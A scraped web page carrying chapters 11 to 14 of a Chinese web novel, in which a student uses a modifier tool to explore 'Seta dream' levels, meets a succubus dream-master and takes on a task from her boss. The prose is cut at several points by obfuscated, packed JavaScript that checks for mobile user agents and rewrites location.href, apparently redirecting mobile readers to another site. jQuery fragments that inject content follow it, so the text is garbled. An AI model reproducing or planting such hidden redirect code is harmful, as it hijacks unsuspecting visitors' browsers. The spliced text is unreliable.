d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882923|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纠结。 真是的,演都不演。 裴心念只好耸耸肩,“当然没有。” “你瘦了,是不是饿?”裴心念睁眼就是瞎说,她也没见过对方以前的样子,强行转移话题。 “我……” “带你去吃饭。” 裴心念精心挑选了一家通宵火锅店,财大气粗地要了一间包厢。 然后要求蒋淮之和她坐在同一边,作为饭钱的报酬,他要提供服务。 蒋淮之手长腿长,缩在卡座里有些局促。 他的脸被店内的蒸汽熏得热起来,肚子几乎要咕噜噜叫,但还是稳着手给裴心念盛来小料。 “你不许拿了。”她按住对方还要起身的动作,狡黠地笑,“我蘸完你才能用。” 多么天才啊,这样的津.液交换,就只能恶心他一个人了。 还可以通宵观察梦主状态,不让魔突然饿死! 裴心念觉得,没有比她再好的主人了。 不知道蒋淮之作何感想,总的来说,他这次安静得可怕。 也许只是二周目心声模糊的影响。 他之前的吵,也主要是和塞塔梦境系统拌嘴带来的。 蒋淮之看着她往嘴里塞吃的,汆水和夹菜的动作也从一开始的生疏变得熟练起来。 裴心念一边吃一边想,塞塔梦境说他是不合格的魅魔,不过到底还是有种族特性在的,在服务上学得挺快。 蒋淮之不自觉地流连她被辣得微微肿起来的唇,放空。 他冷不丁问:“选莱恩,只是因为他救过主人吧?” 裴心念嚼嚼嚼,没办法回他。 发问的人自问自答:“一定是这样的。” “我有哪里不如他,念念能告诉我吗?” 啊,这好像是这位梦主第一次喊她名字。 裴心念晃晃脑袋,对着哀怨的目光,竟然有些无言以对。 之前她还说这人没有演戏的自觉……现在看来,入戏比较深的不是她。 “这个,咳咳……” 她刚想说点什么糊弄过去,被辣味的锅底呛着了,咳嗽起来。 蒋淮之揽住她的背帮忙顺气,递来满满一杯水。 裴心念只咽了小小一口,剩下的被他全喝掉了。 “本店今日有情侣活动——” 包厢里很安静,直到有店员闯入,打破了这份带了点尴尬的沉默。 “呃,二位要不要参加?” 11. 第二关(5) 活动的内容很简单,是餐饮店常见的留好评赠餐品。 不过是情侣活动,所以需要两个人同时在动态发一样的图片。 任务完成后,会赠送一支超大的双球冰激凌。 蒋淮之很急地点点头,抢先告诉服务员:“我们是情侣,可以等一会儿过来核验吗?” 服务员笑着应是,特意补了一句: “您女朋友好可爱,她喜欢什么口味的?” 被蒋淮之高大身躯挡了一半的裴心念探出脑袋。 “要甜的,巧克力、香芋。” “好的!” 蒋淮之得逞般翘起嘴角,为她没有反驳而高兴。 裴心念当然知道他想的什么。 动态发出来,如果不特意屏蔽,莱恩也能看到。 看到了肯定要闹。 但是,她过了今天凌晨就能收集结束节点信息,才不怕这种修罗场呢。 蒋淮之十分主动地找起角度来。 一张俯拍全景,一张特写食材,一张特写小料碟。 这几张很快就拍好,裴心念以为他不折腾了,结果一大团黑影又挤回了她身边。 “我们还没有留过影呢。”他的绿眼睛盯着人,很委屈。 裴心念不由得扶额。 这跟出去偷吃还要拍照打卡有什么区别! 虽然不排除对方有做这种任务的嫌疑,但她还是配合地小幅度点了点头。 反正对她没影响,宠宠得了。 蒋淮之眼睛一下子亮了起来,忍不住往她这边挨了一点。裴心念右肩被富有弹性的触感亲亲热热地挤了挤,魅魔的头就这么凑过来了。 “咔嚓”,对着镜头自拍一张。 蒋淮之低头欣赏。 【确实……脸好好捏的样子。】 裴心念默默挪远了一点,二周目削减心声之后还能这么吵,真是厉害。 “这张没看我,看看我再拍一张好不好?” 面对这种相当具体的要求,裴心念不警觉是不可能的。 万一不只是发给莱恩挑衅,而是要夺魂、让她替他留下来闯关之类的……怎么办。 虽然在这种情况下,心声不应该是那样式的。 “不要。”裴心念哼了一声,“拍之前也没跟我说呀。” “唔……好吧。”蒋淮之垂头掩盖眼底的失落,任劳任怨地继续给她夹菜。 情侣活动的冰激凌上得很晚,比凌晨的钟声只早了一分钟。 时间越是接近零点,裴心念越是关注蒋淮之的状态。 他在清扫自己的剩菜,乐在其中,没有什么被饿死的前兆。 裴心念接过服务员递过来的冰激凌,小心翼翼地舔了一下尖顶。 还挺甜的。 她看了看眼巴巴的蒋淮之,挣扎一番,才把甜筒举到他面前。 万一不吃这一口就饿死了呢。 蒋淮之很受用地张口。 【这么可爱的女主,你们这个破梦境,临终关怀还挺到位的。】 裴心念动了动耳朵。 为什么是临终关怀? 不要死哇!! “叮。”零点到了。 (本次梦境关卡解析进度100%,关键节点解析1/1) 刚刚拉响警报的裴心念重新把心放回了肚子里,差点跳起来。 还好还好。 那他之后会死掉、淹没在塞塔梦境的数据流里吗? 她有些怜悯,剩下的冰激凌也全部送给蒋淮之了。 “你不吃?不是说要甜的吗。”蒋淮之捂了捂她被冰到的手指。 “我饱了,去一下洗手间。你吃。”裴心念直接让他接手冰激凌,自己收拾起背包,准备结束战斗。 她的动作因为解析完成而相当轻快,被冰激凌绊住手脚的蒋淮之没能追上。 裴心念关上隔间的门。 她刚刚在洗手间门口看到两个正在往里进的人,一白一蓝,但整个女卫只有两个隔间。 有一个不见了? 裴心念捏捏自己的下巴,调试修改器,让它尽快整合资源,解析这里的情况。 人物突然消失,很有可能是塞塔梦境不同小关卡之间的链接处,这种非规则空间的数据密度会很大。 她安静地等待修改器的反馈。 不一会儿,门口传来嘈杂的人声。 “你们……有没有见到……这么高……” 裴心念本以为是方才进入洗手间又消失的女子引起的小小风暴,却在其中清晰分辨出蒋淮之的声音。 她顿了顿,慢吞吞地推开隔间门,走到洗手池边,尽量延长修改器的修改时长。 高功率的解析有时会屏蔽数据流,让塞塔梦境暂时检测不到她的存在,以避免攻击。 塞塔梦境现在对蒋淮之显示的应该是,洗手间里没有她。 蒋淮之急得额上冒出冷汗,拉住人就问。 “里面现在有人吗?抱歉,我女朋友前五分钟进去了,也不回终端的消息……” “才五分钟,她是会长出翅膀从商场飞走吗?” 路人对他这神经质的行为不满,没有要停留的意思。 只有裴心念站在他身后,能听见懊悔的心声。 【我还没有……和她好好道别……】 这真的很不对劲。 【是不是……又、又不要我了。】 裴心念叹了口气,最终还是决定暂时放弃数据,因为这个魔看起来快碎掉了。 她虽然恶劣,但对将死之人还是有同情的。 只有一点点而已。 “在找我吗?”裴心念像是掀开了某种空间的纱帘,缓步走到他身后,安抚性地环住他的腰。 “他有点分离焦虑。”她笑眯眯地对路人轻声道,不满的人群很快散去。 蒋淮之紧紧握住她伸过来的手,一言不发。 两人走出商场,走进漆黑的夜色中。 夜风有点凉,裴心念喊了一句,蒋淮之就揽住她半边身子才往前走。 身份上是已经分开的妻子和丈夫,实则也才遇见两天不到,其中一个似乎已经时日无多。 蒋淮之闷闷地往回走,裴心念只能通过靠得很近这个优势,听到他心里的碎碎念。 【要失败了……她不喜欢我……】 【好香。】 【你们……女主每次都会生成不一样的吗?】 “喂。”裴心念打断他的胡思乱想,又揉了揉他心口。 “你之后怎么办?” 她其实想问的是在塞塔梦境里该怎么存活,但这个问题不能问出口。 “念念会让我回去吗?”他的睫毛颤了颤,“我们还能像以前一样吗……” 这是他的任务,要复合。 裴心念移开目光,她真的和这个魅魔不熟,亲亲抱抱就算了,不知道这个物种对“复合”需要多么深入的判定方法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882924|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看你的表现喽。” “嗯。”蒋淮之笑了笑,没有任务完不成的焦虑,只一味沉迷于嗅闻她的气味。 前方有黑影掠过。 路灯“啪嗒”一声全熄了。 她们被迫处于全然的漆黑之中,再也分辨不出哪里算得上影子。 能感受到的只有紧握在一起的手,以及各自的系统与修改器紧急的报告声。 【塞塔梦境异常整合——出现诡异!】 (是否现在强制脱离梦境?) 裴心念马上想到洗手间里消失的那个人。 【快点,全部积分换概念道具。】 蒋淮之没有任何犹豫,他手里瞬间出现了一条管状器物,用尽全力向前挥动。 “咔”。 裴心念快速操作光幕,修改器已经将成像解析完毕。 那是一只眼眶突出的诡,两腿折断,不知用什么方式站立在地面上的。 “左边!”她大喊一声,蒋淮之随即将手中水管砸了上去。 “哐当——!” 他把拦路诡的头捶爆了。 路灯渐次亮起,仿佛方才发生的事都是梦境。 地上没有任何诡来过的残留物,只有蒋淮之手中的水管突兀地出现,昭示着已经出现的事实。 蒋淮之看着自己手上的概念神器发愣。 【好好用啊,不愧是……恐怖游戏概念神。】 【刚刚应该给念念试试手,看看会不会手疼。】 这是什么奇怪的思路呀! 裴心念蹙眉。 “这个送给你。”他几乎是嗫嚅着说。 大晚上送给喜欢的女孩防身的水管,确实有点诡异。 但有什么办法,这个梦境都能直接让诡异串门了。 【如果不是随机生成……希望她好好的。】 裴心念不明白他是什么意思,继续飞快操作修改器。 (解析完成。) 她的修改器针对这次梦境关卡的数据生成了解释。 (概念道具:塞塔梦境系统中,可跨越不同周目持有的道具,通常积分价格高昂,各项属性优越。) 这么好的东西,梦主要留给一个他眼中的NPC? “嗯,不是贿赂你,也不是吓你。”蒋淮之哑声道,“就当可怜我,满足我的愿望好吗?” 裴心念接过了水管。 这是个好东西,万一她下次生成在了恐怖关卡,说不定能保命。 两人心照不宣地达成默契,没有人提到一切不合理之处。 她们继续在街灯下漫步。 走到其中一盏街灯正下方时,蒋淮之停了下来。 他垂眸仔细地看怀中女孩的模样,越看越近,直到呼吸都洒在她脸颊。 “可以吗?”他靠得更近一些,盯住她的唇。 好像有点冷,本来应该红润的唇,冻得带一点青紫。 裴心念缓慢地眨眼。 他饿了吗? 难得发善心的女孩轻轻闭上眼,默许他的动作。 等了很久,唇上没有任何触感。 裴心念实在不耐烦,睁开眼的前一秒,脸颊被碰了一下。 “要记得我。” 蒋淮之把鼻尖碰了碰她的脸,声音平静又幽怨。 昏黄灯下,他的眼睛被扫落的黑发遮住,看不真切。 【第二次任务失败】 【梦主滞留时间过长,警告——】 12. 第 12 章 裴心念坐在阶梯教室的角落。 她趴在桌子上,瘫成了一片无力的饼。 由于周末全耗在实验室里捣鼓塞塔梦境,她没什么休息的时间,一醒来就要回学院上课。 “收到转账:10000信用点。” 终端悦耳的入账提醒声才勉强让她翻了个身。 裴心念左手撑着下巴,抬起眼睛看终端。 传讯对面的备注为【陈清泉】。 这是她的老板,一位让人非常羡慕投胎技术的少爷。 下面附了一条简短的留言:“做得很好。” 裴心念点击收款。 塞塔梦境修改器项目目前只测试了两次,每次都有意外突破,所以提前收绩效也不是不行。 毕竟她只是个贫苦的大学生。 一万信用点够她做很多事了。 可以买个新的智械模型、可以把接下来几年的水课全部外包,她甚至在思考要不要从郁向晚家里搬出来,自己住。 可是中央星的地价……拿来租房似乎有点浪费。 裴心念叹着气晃晃脑袋,钱当然是没有嫌多的,先攒着吧。 所有的数据她都如实提交了,除了蒋淮之最后送她的那根水管。 修改器无法把它带回现实世界,也解析不出代码。 她暂且把这个作为自己保命的底牌,准备下次再去梦里,就试试好不好用。 教室里逐渐热闹起来,人群鱼贯涌入本来只有寥寥几人的房间。 裴心念继续托着下巴,学校里同专业的人她认识得不多,眼前一张一张,都是不熟悉的面孔。 今天这节课不是正常的专业课,而是校外科研机构嘉宾宣讲。 裴心念数了数人头,来的人比单纯凑学分的课多出好几倍。 陈清泉也在被邀请嘉宾的行列,只是裴心念不清楚他具体什么时间来。 这大少爷还怪有事业心的,居然想着继续给实验室招人,都要亲自来宣传了。 他的原话是“既然现在进展超常发挥,也不能像当初那样闹着玩了”。 唉,人家闹着玩组起来的实验室就足够让她打工维持生计了。 裴心念撇撇嘴,她一点也不觉得自己哪里比陈清泉差,这种好日子难道就不能让她过吗? 世界上多她一个有钱人又会怎样。 教室里的嘈杂在某一刻停止,突如其来的寂静打断了裴心念酸酸的想法。 讲台上站着今天第一位宣讲嘉宾,学生们大概是因为他的到来而噤声。 裴心念没什么兴趣,只是简单扫了一眼,没戴眼镜,只能模糊判断身材还不错。 本来她今天坐在这里就是为了捧自己家boss的场,顺便帮忙看看候选人适不适合进项目,不是来应聘的。 她都懒得把眼镜架上鼻梁,相比周围颇为兴奋的人群,裴心念显得有点格格不入。 “这次居然有大佬来,还好我今天没赖床。” “有啥用,简历还没改好。” “你不懂,听听秘林的未来方向也是好事啊。” 裴心念捕捉到关键词,竖起耳朵。 “塞塔梦境目前的重定级为SSS+,但只修订文件上的定义对整体研究与应对毫无用处。” 台上的人正在介绍目前他们公司主要的研究方向,塞塔梦境的出现频率相当之高。 而且声音凉凉的,有种说不出来的熟悉感。 “秘林之前不是做智械管理系统的吗?怎么突然对精神病毒领域感兴趣了。” “还能为啥,荀总自己差点被搞死,当然得重视了。” 裴心念脑子比手快,已经反应过来底下的人就是荀行,但眼前还是一片模糊。 “至于秘林科技的智械研发,近日重点的新项目是心理建模与人体工学的结合。” “我需要一位志愿者帮忙演示——最后一排的女生,你可以帮个忙吗?” 裴心念顺着众人的视线,缓缓抬起手,指了指自己。 “我吗?” 裴心念手忙脚乱地把眼镜摸出来戴上,莫名其妙就上了台。 她这个员工的出场时间比陈清泉还早。这不对吧? 裴心念踏上台阶,挪到光幕前。 荀行低头帮她与智械建立连接,没有多余的动作,似乎并不认识她。 “现在您有一些惊讶。” 光幕亮起,清晰的声音传来。 “我可以为您答疑解惑哦!” 裴心念眨眨眼,等待身后荀行的解说。 这个场合主要是宣传项目的目标,她又不是重点。 眼前薄薄的一片光幕上,出现一团全息投影的小猫形象。 毛茸茸一只,眼珠子滴溜溜转,一直在观察扫描她。 走上去还可以摸摸毛。 “您的惊讶来自于对身旁的人类的好奇,我可以为您介绍他。” 台下传来捧场的笑声。 裴心念退开半步,伸出手指了指光幕的方向: “这是肢体动作、面部肌肉和眼动分析集成的智械,搭载自然语言模型和全息物理引擎,有主动执行任务的思维能力。” “谢谢。”荀行点点头,靠近她左侧时顿了顿。 “您身旁的人类也感到惊讶。” 智械急着播报它观察到的情况,结果是“啪”地一下,被荀行强行关闭了物理开关。 裴心念不由得抬眼在这个角度瞟了一眼荀行,对塞塔梦境里发生的事,他到底是记得还是不记得? 荀行抿唇,轻声问: “可以请你在宣讲结束之后见一面吗?” 裴心念的心怦怦直跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882925|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她能跳槽涨薪吗?能涨50%就可以考虑。 她美美地做着发财梦。 糊里糊涂地到了宣讲结束后,她同时在嘉宾室遇到了两个等着她的人。 裴心念扯开嘴角笑了笑,略微有点尴尬。 “荀总和我的人认识?”陈清泉笑着问,眼里却没什么笑意。 看惯了此人浪荡不经的样子,这种隐约的压迫感倒是让裴心念有点不习惯。 塞塔梦境修改器项目给他的刺激这么大的吗? 裴心念把目光移动到陈清泉胸前,又打消了这个猜想。 同样是西装革履来参加宣讲会,陈清泉比荀行花哨不少,暗紫色丝绸质感的定制西服,上面甚至还点缀着亮眼的银色饰品。 完全就是花花公子出门炫富显摆的配置,没觉得有多商务。 相较而言,荀行这种冷脸的boss明显就专业许多嘛。 “算是认识。”荀行简单回答,“你是联邦军政的在读生?” “是的。”裴心念感知到陈清泉有些不满的眼神,还是补了后半句,“目前在S.T.实习。” 陈清泉满意地抬抬下巴,“荀总有什么直接跟我说就行,不用麻烦她。” 谁麻烦谁? 裴心念眯了眯眼,她还是明白自己所在的小实验室和秘林之间有体量区别的。 小作坊难道要和秘林宣战不成? 裴心念真心觉得自己的成果给了陈清泉太多脸,他才这么自信。 “嗯,裴同学有兴趣的话,可以来我们这里参与相关的项目。”荀行把终端贴近她的,“看得出来你很有潜力。” “谢谢荀总。”裴心念面露难色,实际上操作终端加上联系方式的速度比谁都快。 有机会当然要抓住啦。 裴心念和留在原地的陈清泉站在一起,目送荀行离开。 “怎么不给我面子啊。” “我可看不得两位在这里打起来。”裴心念撇撇嘴,看在工资的份上,还是用了敬称。 陈清泉本来没去过实验室几趟,平时组织管理基本由郁向晚完成。 谁知道成果出来了少爷上心了。 裴心念想了想,或许不只是因为有成果。 他又不像荀行,人家是有技术背景的。 陈清泉懂什么? 让他看模拟器代码,都不一定知道哪里是函数终止标志,凑什么热闹啊。 “不管他,就是个古板工作狂。”陈清泉施施然拉踩了一句,收回视线,“我这次是想让你帮个忙。” “什么忙?” “报酬另算,不属于工资,等下转到你账上。” 什么事这么急,还要大少爷亲自来找她? “我那个弟弟也进塞塔梦境了。” 居然是要救小少爷。 13. 第三关(1) “目前修改器还做不到指定进入某段意识体的梦境,如果是要营救的话——” 裴心念面不改色,措辞拒绝陈清泉的要求。 “别这么心急。”眼前的公子哥晃了晃手,嘴角笑意更盛。 “如果你在塞塔梦境里遇到他,可一定不要放过我的好弟弟。” “你想他死?” “能做到的话,也不是不行。” 裴心念默了默,她对豪门的恩怨不清楚,刚才下意识以为是要救人。 结果是巴不得人家出不来。 “别这么大压力。”陈清泉放柔声音,“只是让你碰见了别让他好过而已,不至于要你当杀手。” “再说了,他和我长得像,你有什么工作压力,可以对他发泄一下,我没意见。” ……这倒是个新思路。 “怎么确定我完成任务了?”裴心念问。 “不需要确定,我不信你还能信谁呢。”陈清泉笑,“报酬现在应该已经到账了。” 裴心念的终端震了震,不知道又是多大一笔封口费。 “还要加一条,别被拐跑了。” 陈清泉拂了拂她肩膀,好像上面落了肉眼看不见的灰。 这张近在咫尺的脸,与资料上的辛浚有七成相似。 明明是同母异父,居然还能这么像,母亲的基因真强大。 裴心念感慨着,并不认为自己有概率遇到辛浚。 真有这个运气,她就去买上五注彩票。 中头奖就不用在这里吭哧吭哧干活了。 是的,她又来塞塔梦境了,顺便试试新到手的道具。 这次依然是旧时代的背景,她站在夏夜的城市中央,看着川流不息的人群,目之所及只有地面交通。 迎面走来一个瘦条条的男生,像是一个月没收割的豆芽菜,青黄青黄的脸色,正要向她打招呼。 裴心念按下重置键。 这次摇到的是个络腮胡的烟鬼,她再换。 …… 十几次之后。 裴心念有种想抽出水管暴揍空气的冲动。 真的一个顺眼的都随机不出来啊! 而且,她在这一关视力又是这么好,没有眼镜不说,脸上皱纹斑点都看得一清二楚。 她撇撇嘴,在下一次重置之前,飞快地往其中一栋楼高鹤立鸡群的楼宇跑去。 “叮。” 这次重置之后,她出现在电梯中,厢门正巧在眼前展开。 一头耀眼夺目的红发首先闯进她的视野,紧随其后的是闪烁的人物名称。 【辛浚】。 进来的男生很是不屑地睨她,耳骨上的铆钉差点把裴心念给闪瞎。 陈清泉的倒霉弟弟。 说倒霉是真倒霉,居然真的被她碰到了。 裴心念深吸一口气,她现在相信塞塔梦境可能真的是分区、分服、分时段了。 不然怎么解释roll了十几次就出附近人物啊! 【陈清泉眼光真烂。】 红发少年站在梯门外,一动不动,但突兀的心声显然是针对她的。 裴心念磨了磨后槽牙,电梯里唯一亮着的“32”已经熄灭,说明这就是她的终点楼层。 这个火鸡面头小鬼什么意思,来堵门的吗? 眼看着电梯门就快要合上,辛浚一只手探过来挡住门边,不耐烦道:“会不会自己走路啊,嫂子。” 最后两个字咬牙切齿,听得裴心念起了一身的鸡皮疙瘩。 结合他的第一句心声,很容易知道,辛浚在这一关的哥还是陈清泉。 他们家难道被塞塔梦境入侵了吗,陈清泉前脚给她交代过整死辛浚,后脚自己也卷进来了? 还是说,只是被捏出来的NPC呢。 裴心念踏出电梯。 要不是为了还没发的月底奖金,得去检查一下陈清泉的意识体,她真不想留在这里看一个没礼貌的红毛。 “就你会走路,那你带路。”裴心念抬了抬下巴,指使眼前比自己高了一个头的叛逆少年。 【不对,她眼光也挺差的,万一审美纠正不过来怎么办。】 【梦主只需要攻略女主即可,这些问题系统无法回答】 辛浚轻嗤一声,双手交叉放在胸前,带着裴心念一路往前走。 这里是高楼的顶层,楼道非常宽敞,四周可能是单面玻璃材质,墙面闪烁着幽幽的光芒。 两人一前一后,脚步声都清晰可闻,避无可避。 虽然现实中裴心念也没去过陈家的住所,但这不像陈清泉的作风。 他属于那种会把奇花异草种满,不顾安全性能的败家子。 “呐,你自己去吧。” 辛浚在一扇边缘完全嵌入墙体的门前停下,提醒裴心念: “别说我没提前告诉你,他不可能自证清白的。” “到时候可别找我哭。” 不是,现在是什么剧情啊? 什么自证清白,怎么没人通知她。 裴心念恶狠狠地瞪了一眼出言不逊的小红毛,结果对方往她手里塞了两张洗出来的照片,恶意地笑。 她刚看清上面是陈清泉和某个女生的合影,门就被辛浚一把推开了。 居然是出轨戏码,这倒还像是陈清泉能做出来的事。 “嗒。”不知是什么机关被按下,桌前坐着的人应声抬眼望向她。 梦境系统殷勤地跳出人物名称,【陈清泉】。 千真万确,此人百分之一百是她老板。 相同的眉眼弧度,但面相看起来没有现实中稠丽,反而印堂发黑,阴森森的。 老板你这是有血光之灾啊! 修改器的进度播报提醒着她,现在不是在做噩梦。 不知道是对方心无杂念还是他只是NPC,裴心念听不到他的心声。 陈清泉蹙眉,先骂弟弟。 “辛浚,不知所谓。” 两兄弟火气都很旺的样子,真该开点降火的药喝喝了。 裴心念亮出手中的照片:“我要一个解释。” 不管了,顺着关键词先对线再说。 “不是你想的那样。”他起身向她走来,把辛浚推出去,关在门外。 “咚”的一声,无框门发出沉闷的惨叫。 裴心念被卡在门板和人之间,与陈清泉大眼瞪小眼。 “你还记得我吗?”她伸出手在他眼前晃了晃,试图招魂。 被招魂者低声笑起来,只当她还在质问。 他捉住她的手贴在唇边,惊得裴心念一哆嗦。 “只是合作伙伴,照片上有看到我对她们这样吗?” 语气跟刚才判若两人。 “这样容易吃醋,还是一直待在我身边不分开更好。” 陈清泉忍不住捏了捏她脸颊的软肉,“每天往外边跑,不是你要的自由吗?” 裴心念半边身子已经麻了,有种眼睁睁看着熟人演戏不能喊停的无力感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882926|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她只好保持放空的表情,拼尽全力重新调试修改器,赶紧分析如何把人捞出去。 在此期间,对方已经把她抱到沙发上絮絮叨叨了好一会儿,根本就不带停歇的,不知道的还以为憋了几辈子没说话。 “别吵啦!”裴心念调试到关键处,被耳边嗡嗡的声音烦得没法继续下去。 一抬眼就是陈清泉带着暗红色的瞳仁,直勾勾盯着她。 “念念又嫌我烦。”他还是笑,倒是听话地不继续说了,只是不松手。 (检测到意识体残缺不全。) 修改器经过一系列极限的操作以及初步的迭代,终于给了她回应。 意思是,这不是整份的陈清泉。 (是否继续为您解析并推演解决方案?可能造成损耗指数级增加。) 裴心念点了“是”,反正因此造成的算力费用也是眼前的人出。 “今晚的宴会还去吗?”陈清泉问,有些跃跃欲试的样子。 按照她的经验来看,多场景探索有助于推进解析进度。 因此裴心念没有管对方的期盼到底从何而来,点头: “当然去。” 陈清泉反而失望地“嗯”了一声,继续抱着她,一直在过肺。 这明明是旧时代正常背景,他怎么整得跟蒋淮之那魅魔一样气息依赖。 裴心念不太适应地推了推他,“宴会的时间地点和注意事项你再发我一份。” “其实不用准备的,也不是很重要。”陈清泉解释道,“你也可以不——” “发我一份。”裴心念坚持。 “好吧。”陈清泉用指尖挑了挑她的发尾,似乎在措辞。 “你有什么要说的?” “最近太忙了,没有时间陪你,是我的错。” “但念念不要老是听别人的挑拨,有什么就像这样直接来问我好了。” 裴心念暗自“切”了一声,她倒是想问。 但现在我方阵营身份不同步啊。 “咳,那晚上见。” 裴心念着急忙慌地从他怀中逃窜出来,准备去梦主那边多刷点解析度,给修改器投喂原始数据资料。 现在数据不足,还没算出来怎么解决陈清泉意识体呢。 她推开门,看见辛浚正倚在墙边,垂着头,不知道是睡着了还是怎样。 “走。”她只有一个字,指使起辛浚。 这人就是个没礼貌的小屁孩,比起前面两关的梦主,他的素质值得他的待遇。 “他说了几句话你就原谅了?”辛浚一脸不高兴,还是带着人从电梯里下去。 “没有的事,不要造谣你哥。”裴心念用她旁观的视角来看,真不觉得陈清泉那种黏糊劲是能出轨的。 说不定只是辛浚的任务尝试,或者单纯看他哥不爽呢。 “晚宴你穿什么礼服?”辛浚带着她走向地面停车场,边走边问,“之前不是最喜欢那条蓝色的,上次都直接送给陈清泉的‘好朋友’了。” 莫名其妙开始挑拨离间。 “不怀好意”这几个大字就跟写在他脑门上了一样。 “借给谁了?你带路,我们去要回来呗。” 裴心念无所谓,本着出现的线索都利用一番的原则,随口道。 辛浚没废话,带她进了停车区,找到一辆造型拉风的机车。 在裴心念的印象里,这种车和刺激是绑定在一起的。 加速起来,她不得把辛浚的腰给勒断啊。 14.第三关(2) 辛浚在她眼前戴上了黑色头盔,彻底把过于耀眼的红发遮住。 现在他整个人黑漆漆的,终于让裴心念能客观评判他的脸了。 还行吧,不至于马上给他重置了。 辛浚斜倚着哑光黑的重型机车,长腿因为跨骑机车的姿态而显得愈发比例惊人。 “不敢上车?这么大后座没看见?”辛浚翻出另一顶头盔,“不会让你摔死的。” “拿来。”裴心念挥了挥手,舍命陪君子了。 主要建立在她有很多条命的基础上。 辛浚顿了顿,没想到她这么快就转变态度,一时之间没想到嘲讽的话。 他悻悻地将手中的头盔递给她。 裴心念给自己系好扣子,走到机车旁边,发现上去对她的身高来说有点困难。 她示意辛浚附耳过来。 对方已经吃了瘪,这时候臭着脸照做。 结果他耳朵都凑到裴心念唇边了,她只是狠狠往他肩头一按,借力翻身上车。 “……啧。” 辛浚摆好的姿势歪了歪,感受着肩上的重量转移到身后。 “走吧。” 裴心念二话不说环住他的腰,整张脸都贴了上去,满意地听见修改器播报的进度飞涨。 前面的人明显僵了僵,低声道: “等下加速的时候你最好也抱这么紧,摔下去我不管你。” 这还是一个心怀嫂嫂安危的好孩子嘞。 裴心念啧啧称奇,手用力了点,在他的工装外套上揪出两道痕迹。 “我的蓝色礼服在哪里?”起步之前,裴心念抓紧时间问最重要的位置信息。 “就在那个陈清泉资助过的灰姑娘家里。” 辛浚的话渗着很容易分辨出来的恶意,故意把机车启动轰隆的声音后置,对她清晰地说完这句话。 然后不等裴心念再问,直接启程。 【是在贫民区吧?】 辛浚不跟裴心念再说话,但他的想法在她面前无所遁形,隔着一层衣物,修改器的处理结果还是很清晰的。 【是的,海沟街道第二个十字路口左拐】 裴心念把自己绕在对方精瘦腰肢上的手臂收紧。 海沟,听起来像是进了联邦星球陆知识科普频道。 机车的转向相当敏捷,很快抄近路来到一座跨江大桥上。 迎面江风吹拂,裴心念再也没兴趣关注辛浚内心的小九九,开始瞪大眼睛欣赏旧时代的江景。 她觉得自己的灵魂似乎都要随着风一起,飘飘然扬起来了。 骑行的快乐,大概只有旧时代的人才能完整体验吧。 她眯起眼睛,用辛浚的背挡住大部分过于尖锐的逆风,享受着恰到好处的惬意舒畅。 风刮过前面人的衣服,发出簌簌的声响。 直到海沟街区出现在她们眼前。 地面质量不佳,坑坑洼洼的,把裴心念颠得腰痛。 辛浚不知道第多少次避让摊位,左腾右挪,先前的洒脱一扫而空,狼狈不已。 是的,再叛逆的机车少年也拼不过路边摆摊的大爷。 裴心念探出半颗脑袋看路况。 前面有两家卖新鲜鱼虾的摊主吵了起来。 摊位上的大虾一蹦三尺高,溅出一地水,带着腥味,拦住了小巷的入口。 “下车呗。”裴心念戳了戳寸步难行的机车主人,“还是你忘记带钥匙,停不了车?” “这种地方,就算上了锁,也是连把手带轮胎都剩不下。”辛浚脱下头盔拿在手里。 “那要怎么办?”裴心念幸灾乐祸,反正车也不是她的车。 辛浚伸手,招来路边看热闹的小孩,给她塞了一把硬币。 从裴心念的角度,能看见他被骑行头盔弄得凌乱的红发,有些贴在鬓边,野性十足。 小孩姐非常高兴地点点头,领了这个悬赏任务: 帮这个红色头发的人看车,并得知等下回来交差还有一半的钱可以拿。 “你出门要玩摇摇车啊,怎么会随身带硬币。” 裴心念对此大惑不解,一个玩机车的小少爷身上揣着硬币,总觉得画风有点不太匹配。 “有些地方车开不过去。” “所以?” “我怎么知……用来坐公车。” 辛浚弯腰给自己的爱车上好锁,用很忙的表象来掩饰差点穿帮的尴尬。 那真是很复古了。 想想也是,这里虽然和第一关同为旧时代,但具体时间应该还要早个十几年。 连手机都没第一关里智能。 